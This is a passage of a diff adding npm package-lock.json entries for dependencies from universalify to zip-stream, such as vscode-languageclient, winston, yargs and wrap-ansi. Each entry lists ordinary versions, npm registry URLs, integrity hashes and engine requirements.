"node_modules/universalify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "dev": true, + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/upper-case": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/upper-case/-/upper-case-2.0.2.tgz", + "integrity": "sha512-KgdgDGJt2TpuwBUIjgG6lzw2GWFRCW9Qkfkiv0DxqHHLYJHmtmdUIKcZd8rHgFSjopVTlw6ggzCm1b8MFQwikg==", + "dev": true, + "license": "MIT", + "dependencies": { + "tslib": "^2.0.3" + } + }, + "node_modules/upper-case-first": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/upper-case-first/-/upper-case-first-2.0.2.tgz", + "integrity": "sha512-514ppYHBaKwfJRK/pNC6c/OxfGa0obSnAl106u97Ed0I625Nin96KAjttZF6ZL3e1XLtphxnqrOi9iWgm+u+bg==", + "dev": true, + "license": "MIT", + "dependencies": { + "tslib": "^2.0.3" + } + }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dev": true, + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/url-join": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/url-join/-/url-join-4.0.1.tgz", + "integrity": "sha512-jk1+QP6ZJqyOiuEI9AEWQfju/nB2Pw466kbA0LEZljHwKeMgd9WrAEgEGxjPDD2+TNbbb37rTyhEfrCXfuKXnA==", + "dev": true + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" + }, + "node_modules/uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "dev": true, + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/v8-to-istanbul": { + "version": "9.3.0", + "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-9.3.0.tgz", + "integrity": "sha512-kiGUalWN+rgBJ/1OHZsBtU4rXZOfj/7rKQxULKlIzwzQSvMJUUNgPwJEEh7gU6xEVxC0ahoOBvN2YI8GH6FNgA==", + "dev": true, + "license": "ISC", + "dependencies": { + "@jridgewell/trace-mapping": "^0.3.12", + "@types/istanbul-lib-coverage": "^2.0.1", + "convert-source-map": "^2.0.0" + }, + "engines": { + "node": ">=10.12.0" + } + }, + "node_modules/validate-npm-package-license": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz", + "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", + "dev": true, + "dependencies": { + "spdx-correct": "^3.0.0", + "spdx-expression-parse": "^3.0.0" + } + }, + "node_modules/varstream": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/varstream/-/varstream-0.3.2.tgz", + "integrity": "sha512-OpR3Usr9dGZZbDttlTxdviGdxiURI0prX68+DuaN/JfIDbK9ZOmREKM6PgmelsejMnhgjXmEEEgf+E4NbsSqMg==", + "dev": true, + "dependencies": { + "readable-stream": "^1.0.33" + }, + "bin": { + "json2varstream": "cli/json2varstream.js", + "varstream2json": "cli/varstream2json.js" + }, + "engines": { + "node": ">=0.10.*" + } + }, + "node_modules/varstream/node_modules/isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/varstream/node_modules/readable-stream": { + "version": "1.1.14", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.1.14.tgz", + "integrity": "sha512-+MeVjFf4L44XUkhM1eYbD8fyEsxcV81pqMSR5gblfcLCHfZvbrqy4/qYHE+/R5HoBUT11WV5O08Cr1n3YXkWVQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.1", + "isarray": "0.0.1", + "string_decoder": "~0.10.x" + } + }, + "node_modules/varstream/node_modules/string_decoder": { + "version": "0.10.31", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", + "integrity": "sha512-ev2QzSzWPYmy9GuqfIVildA4OdcGLeFZQrq5ys6RtiuF+RQQiZWr8TZNyAcuVXyQRYfEO+MsoB/1BuQVhOJuoQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/version-range": { + "version": "4.15.0", + "resolved": "https://registry.npmjs.org/version-range/-/version-range-4.15.0.tgz", + "integrity": "sha512-Ck0EJbAGxHwprkzFO966t4/5QkRuzh+/I1RxhLgUKKwEn+Cd8NwM60mE3AqBZg5gYODoXW0EFsQvbZjRlvdqbg==", + "dev": true, + "engines": { + "node": ">=4" + }, + "funding": { + "url": "https://bevry.me/fund" + } + }, + "node_modules/vscode-jsonrpc": { + "version": "8.2.0", + "resolved": "https://registry.npmjs.org/vscode-jsonrpc/-/vscode-jsonrpc-8.2.0.tgz", + "integrity": "sha512-C+r0eKJUIfiDIfwJhria30+TYWPtuHJXHtI7J0YlOmKAo7ogxP20T0zxB7HZQIFhIyvoBPwWskjxrvAtfjyZfA==", + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/vscode-languageclient": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/vscode-languageclient/-/vscode-languageclient-9.0.1.tgz", + "integrity": "sha512-JZiimVdvimEuHh5olxhxkht09m3JzUGwggb5eRUkzzJhZ2KjCN0nh55VfiED9oez9DyF8/fz1g1iBV3h+0Z2EA==", + "dependencies": { + "minimatch": "^5.1.0", + "semver": "^7.3.7", + "vscode-languageserver-protocol": "3.17.5" + }, + "engines": { + "vscode": "^1.82.0" + } + }, + "node_modules/vscode-languageclient/node_modules/brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/vscode-languageclient/node_modules/minimatch": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.2.tgz", + "integrity": "sha512-bNH9mmM9qsJ2X4r2Nat1B//1dJVcn3+iBLa3IgqJ7EbGaDNepL9QSHOxN4ng33s52VMMhhIfgCYDk3C4ZmlDAg==", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/vscode-languageserver-protocol": { + "version": "3.17.5", + "resolved": "https://registry.npmjs.org/vscode-languageserver-protocol/-/vscode-languageserver-protocol-3.17.5.tgz", + "integrity": "sha512-mb1bvRJN8SVznADSGWM9u/b07H7Ecg0I3OgXDuLdn307rl/J3A9YD6/eYOssqhecL27hK1IPZAsaqh00i/Jljg==", + "dependencies": { + "vscode-jsonrpc": "8.2.0", + "vscode-languageserver-types": "3.17.5" + } + }, + "node_modules/vscode-languageserver-types": { + "version": "3.17.5", + "resolved": "https://registry.npmjs.org/vscode-languageserver-types/-/vscode-languageserver-types-3.17.5.tgz", + "integrity": "sha512-Ld1VelNuX9pdF39h2Hgaeb5hEZM2Z3jUrrMgWQAu82jMtZp7p3vJT3BzToKtZI7NgQssZje5o0zryOrhQvzQAg==" + }, + "node_modules/vscode-oniguruma": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/vscode-oniguruma/-/vscode-oniguruma-1.7.0.tgz", + "integrity": "sha512-L9WMGRfrjOhgHSdOYgCt/yRMsXzLDJSL7BPrOZt73gU0iWO4mpqzqQzOz5srxqTvMBaR0XZTSrVWo4j55Rc6cA==", + "dev": true, + "license": "MIT" + }, + "node_modules/vscode-textmate": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/vscode-textmate/-/vscode-textmate-7.0.4.tgz", + "integrity": "sha512-9hJp0xL7HW1Q5OgGe03NACo7yiCTMEk3WU/rtKXUbncLtdg6rVVNJnHwD88UhbIYU2KoxY0Dih0x+kIsmUKn2A==", + "dev": true, + "license": "MIT" + }, + "node_modules/vscode-tmgrammar-test": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/vscode-tmgrammar-test/-/vscode-tmgrammar-test-0.1.3.tgz", + "integrity": "sha512-Wg6Pz+ePAT1O+F/A1Fc4wS5vY2X+HNtgN4qMdL+65NLQYd1/zdDWH4fhwsLjX8wTzeXkMy49Cr4ZqWTJ7VnVxg==", + "dev": true, + "license": "MIT", + "dependencies": { + "bottleneck": "^2.19.5", + "chalk": "^2.4.2", + "commander": "^9.2.0", + "diff": "^4.0.2", + "glob": "^7.1.6", + "vscode-oniguruma": "^1.5.1", + "vscode-textmate": "^7.0.1" + }, + "bin": { + "vscode-tmgrammar-snap": "dist/snapshot.js", + "vscode-tmgrammar-test": "dist/unit.js" + } + }, + "node_modules/vscode-tmgrammar-test/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/vscode-tmgrammar-test/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/vscode-tmgrammar-test/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/vscode-tmgrammar-test/node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", + "dev": true, + "license": "MIT" + }, + "node_modules/vscode-tmgrammar-test/node_modules/commander": { + "version": "9.5.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-9.5.0.tgz", + "integrity": "sha512-KRs7WVDKg86PWiuAqhDrAQnTXZKraVcCc6vFdL14qrZ/DcWwuRo7VoiYXalXO7S5GKpqYiVEwCbgFDfxNHKJBQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.20.0 || >=14" + } + }, + "node_modules/vscode-tmgrammar-test/node_modules/diff": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", + "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/vscode-tmgrammar-test/node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/vscode-tmgrammar-test/node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "deprecated": "Glob versions prior to v9 are no longer supported", + "dev": true, + "license": "ISC", + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/vscode-tmgrammar-test/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/vscode-tmgrammar-test/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dependencies": { + "isexe": "^2.0.0" + }, + "bin": { + "node-which": "bin/node-which" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/wide-align": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.5.tgz", + "integrity": "sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==", + "dev": true, + "license": "ISC", + "dependencies": { + "string-width": "^1.0.2 || 2 || 3 || 4" + } + }, + "node_modules/winston": { + "version": "3.18.3", + "resolved": "https://registry.npmjs.org/winston/-/winston-3.18.3.tgz", + "integrity": "sha512-NoBZauFNNWENgsnC9YpgyYwOVrl2m58PpQ8lNHjV3kosGs7KJ7Npk9pCUE+WJlawVSe8mykWDKWFSVfs3QO9ww==", + "dev": true, + "dependencies": { + "@colors/colors": "^1.6.0", + "@dabh/diagnostics": "^2.0.8", + "async": "^3.2.3", + "is-stream": "^2.0.0", + "logform": "^2.7.0", + "one-time": "^1.0.0", + "readable-stream": "^3.4.0", + "safe-stable-stringify": "^2.3.1", + "stack-trace": "0.0.x", + "triple-beam": "^1.3.0", + "winston-transport": "^4.9.0" + }, + "engines": { + "node": ">= 12.0.0" + } + }, + "node_modules/winston-transport": { + "version": "4.9.0", + "resolved": "https://registry.npmjs.org/winston-transport/-/winston-transport-4.9.0.tgz", + "integrity": "sha512-8drMJ4rkgaPo1Me4zD/3WLfI/zPdA9o2IipKODunnGDcuqbHwjsbB79ylv04LCGGzU0xQ6vTznOMpQGaLhhm6A==", + "dev": true, + "license": "MIT", + "dependencies": { + "logform": "^2.7.0", + "readable-stream": "^3.6.2", + "triple-beam": "^1.3.0" + }, + "engines": { + "node": ">= 12.0.0" + } + }, + "node_modules/winston-transport/node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dev": true, + "license": "MIT", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/winston/node_modules/is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/winston/node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dev": true, + "license": "MIT", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/wordwrap": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-1.0.0.tgz", + "integrity": "sha512-gvVzJFlPycKc5dZN4yPkP8w7Dc37BtP1yczEneOb4uq34pXZcvrtRTmWV8W+Ume+XCxKgbjM+nevkyFPMybd4Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/workerpool": { + "version": "9.3.2", + "resolved": "https://registry.npmjs.org/workerpool/-/workerpool-9.3.2.tgz", + "integrity": "sha512-Xz4Nm9c+LiBHhDR5bDLnNzmj6+5F+cyEAWPMkbs2awq/dYazR/efelZzUAjB/y3kNHL+uzkHvxVVpaOfGCPV7A==", + "dev": true, + "license": "Apache-2.0" + }, + "node_modules/wrap-ansi": { + "version": "9.0.2", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-9.0.2.tgz", + "integrity": "sha512-42AtmgqjV+X1VpdOfyTGOYRi0/zsoLqtXQckTmqTeybT+BDIbM/Guxo7x3pE2vtpr1ok6xRqM9OpBe+Jyoqyww==", + "dev": true, + "dependencies": { + "ansi-styles": "^6.2.1", + "string-width": "^7.0.0", + "strip-ansi": "^7.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi-cjs": { + "name": "wrap-ansi", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/ansi-styles": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/wrap-ansi/node_modules/emoji-regex": { + "version": "10.6.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-10.6.0.tgz", + "integrity": "sha512-toUI84YS5YmxW219erniWD0CIVOo46xGKColeNQRgOzDorgBi1v4D71/OFzgD9GO2UGKIv1C3Sp8DAn0+j5w7A==", + "dev": true + }, + "node_modules/wrap-ansi/node_modules/string-width": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-7.2.0.tgz", + "integrity": "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==", + "dev": true, + "dependencies": { + "emoji-regex": "^10.3.0", + "get-east-asian-width": "^1.0.0", + "strip-ansi": "^7.1.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/wrap-ansi/node_modules/strip-ansi": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz", + "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==", + "dev": true, + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=", + "dev": true + }, + "node_modules/xml2js": { + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/xml2js/-/xml2js-0.6.2.tgz", + "integrity": "sha512-T4rieHaC1EXcES0Kxxj4JWgaUQHDk+qwHcYOCFHfiwKz7tOVPLq7Hjq9dM1WCMhylqMEfP7hMcOIChvotiZegA==", + "dependencies": { + "sax": ">=0.6.0", + "xmlbuilder": "~11.0.0" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/xmlbuilder": { + "version": "11.0.1", + "resolved": "https://registry.npmjs.org/xmlbuilder/-/xmlbuilder-11.0.1.tgz", + "integrity": "sha512-fDlsI/kFEx7gLvbecc0/ohLG50fugQp8ryHzMTuW9vSa1GJ0XYWKnhsUx7oie3G98+r56aTQIUB4kht42R3JvA==", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/xtend": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", + "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.4" + } + }, + "node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + }, + "node_modules/yaml": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.8.1.tgz", + "integrity": "sha512-lcYcMxX2PO9XMGvAJkJ3OsNMw+/7FKes7/hgerGUYWIoWu5j/+YQqcZr5JnPZWzOsEBgMbSbiSTn/dv/69Mkpw==", + "dev": true, + "bin": { + "yaml": "bin.mjs" + }, + "engines": { + "node": ">= 14.6" + } + }, + "node_modules/yargs": { + "version": "17.7.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", + "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", + "dev": true, + "dependencies": { + "cliui": "^8.0.1", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/yargs-parser": { + "version": "21.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/yargs-unparser": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/yargs-unparser/-/yargs-unparser-2.0.0.tgz", + "integrity": "sha512-7pRTIA9Qc1caZ0bZ6RYRGbHJthJWuakf+WmHK0rVeLkNrrGhfoabBNdue6kdINI6r4if7ocq9aD/n7xwKOdzOA==", + "dev": true, + "dependencies": { + "camelcase": "^6.0.0", + "decamelize": "^4.0.0", + "flat": "^5.0.2", + "is-plain-obj": "^2.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/yauzl": { + "version": "2.10.0", + "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz", + "integrity": "sha1-x+sXyT4RLLEIb6bY5R+wZnt5pfk=", + "dev": true, + "dependencies": { + "buffer-crc32": "~0.2.3", + "fd-slicer": "~1.1.0" + } + }, + "node_modules/yazl": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/yazl/-/yazl-2.5.1.tgz", + "integrity": "sha512-phENi2PLiHnHb6QBVot+dJnaAZ0xosj7p3fWl+znIjBDlnMI2PsZCJZ306BPTFOaHf5qdDEI8x5qFrSOBN5vrw==", + "dev": true, + "dependencies": { + "buffer-crc32": "~0.2.3" + } + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/zip-stream": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/zip-stream/-/zip-stream-6.0.1.tgz", + "integrity": "sha512-zK7YHHz4ZXpW89AHXUPbQVGKI7uvkd3hzusTdotCg1UxyaVtg0zFJSTfW/Dq5f7OBBVnq6cZIaC8Ti4hb6dtCA==", + "dependencies": { + "archiver-utils": "^5.0.0", + "compress-commons": "^6.0.2", + "readable-stream": "^4.0.0" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/zip-stream/node_modules/buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" + } + }, + "node_modules/zip-stream/node_modules/readable-stream": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-4.7.0.tgz", + "integrity": "sha512-oIGGmcpTLwPga8Bn6/Z75SVaH1z5dUut2ibSyAMVhmUggWpmDn2dapB0n7f8nwaSiRtepAsfJyfXIO5DCVAODg==", + "dependencies": { + "abort-controller": "^3.0.0", + "buffer": "^6.0.3", + "events": "^3.3.0", + "process": "^0.11.10", + "string_decoder": "^1.3.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/zip-stream/node_modules/string_decoder": { + "version": "1.3.0", + "resolved": 